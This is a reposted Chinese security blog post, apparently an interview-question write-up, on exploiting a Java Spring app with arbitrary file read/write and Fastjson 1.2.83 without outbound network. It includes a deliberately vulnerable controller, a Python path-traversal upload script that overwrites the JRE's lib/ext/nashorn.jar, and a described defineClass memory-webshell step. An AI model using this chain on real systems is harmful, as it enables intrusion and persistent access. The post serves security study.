这道面试题,你的思路是什么?

admin 2026-02-10 14:48:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档是一道Java安全面试题的解题思路分享。场景为:目标存在任意文件读写、Fastjson1.2.83(有白名单)、不出网、jar包部署。作者利用Fastjson的@type加载机制,结合任意读获取JRE路径,通过上传功能覆盖lib/ext目录下的nashorn.jar实现jar包替换,最终使用defineClass加载内存马完成不出网环境下的getshell。 综合评分: 78 文章分类: 渗透测试,漏洞分析,WEB安全,安全开发,实战经验


cover_image

这道面试题,你的思路是什么?

原创

ptr ptr

UpRoot

2026年2月8日 23:22 江苏

前言

一道实习面试场景题:目标存在任意写/读、Fastjson没洞、不出网、jar包部署,你怎么打?


思考

类似于Fastjson用io链写文件,只不过这里的io链被替换为了任意写/读。

既然有Fastjson就可以通过@type对类进行加载,Fastjson没洞说明版本是1.2.83,存在白名单,对加载的类会进行check,但还是有解决办法的,就是通过懒加载jar包替换。

jar包替换就得知道lib/ext目录在哪,这时候任意读作用的就用来了,可以通过读Linux系统全文件路径数据库来解决jar包路径问题。


解题

本地写一个环境出来,漏洞代码如下:

package com.ptr.demo1.vul;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.springframework.core.io.FileSystemResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.UUID;

@RestController
publicclass vulController {

    privatestaticfinal String UPLOAD_DIR = System.getProperty("user.dir") + "/uploads/";

    @PostMapping("/api/login")
    public String login(@RequestBody String jsonString){
        try {
            return JSON.parseObject(jsonString).toJSONString();
        }catch (Exception e){
            return e.getMessage();
        }
    }

    @PostMapping("/api/upload")
    public String upload(@RequestParam("file") MultipartFile file) {
        if (file.isEmpty()) {
            return"上传失败,请选择文件";
        }
        try {
            String fileName = file.getOriginalFilename();
            SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd/");
            String datePath = sdf.format(new Date());
            File dest = new File(UPLOAD_DIR + datePath + fileName);
            if (!dest.getParentFile().exists()) {
                dest.getParentFile().mkdirs();
            }
            file.transferTo(dest);
            return"上传成功,文件路径: " + datePath + fileName;

        } catch (IOException e) {
            e.printStackTrace();
            return"上传失败: " + e.getMessage();
        }
    }

    @PostMapping("/api/download")
&nbsp; &nbsp;&nbsp;public&nbsp;ResponseEntity<Resource>&nbsp;download(String fileName)&nbsp;throws&nbsp;UnsupportedEncodingException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; File file =&nbsp;new&nbsp;File(UPLOAD_DIR + fileName);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!file.exists()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ResponseEntity.notFound().build();
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; String encodedFileName = URLEncoder.encode(file.getName(),&nbsp;"UTF-8").replaceAll("\\+",&nbsp;"%20");

&nbsp; &nbsp; &nbsp; &nbsp; HttpHeaders headers =&nbsp;new&nbsp;HttpHeaders();
&nbsp; &nbsp; &nbsp; &nbsp; headers.add(HttpHeaders.CONTENT_DISPOSITION,&nbsp;"attachment; filename*=UTF-8''"&nbsp;+ encodedFileName);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ResponseEntity.ok()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .headers(headers)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .contentLength(file.length())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .contentType(MediaType.APPLICATION_OCTET_STREAM)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .body(new&nbsp;FileSystemResource(file));
&nbsp; &nbsp; }
}

通过任意读拿到jre路径:

构造一个恶意的jar,这里用的是nashorn.jar。

为了bypassFastjson的安全检测,需要指定类为@JSONType。

写一个python脚本进行可以跨目录的任意文件上传,覆盖原来的nashorn.jar。

import&nbsp;requests

url =&nbsp;"http://192.168.0.15:8089/api/upload"
files = {'file': ('../../../../../../../../../../../usr/lib/jvm/java-1.8.0-openjdk-1.8.0.362.b09-4.el9.x86_64/jre/lib/ext/nashorn.jar',open('nashorn.jar',&nbsp;'rb'))}

response = requests.post(url, files=files,timeout=5)

print(response.text)

用defineClass直接打入内存马,实现不出网的shell。

– END –


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:UpRoot ptr ptr《这道面试题,你的思路是什么?》

评论:0   参与:  3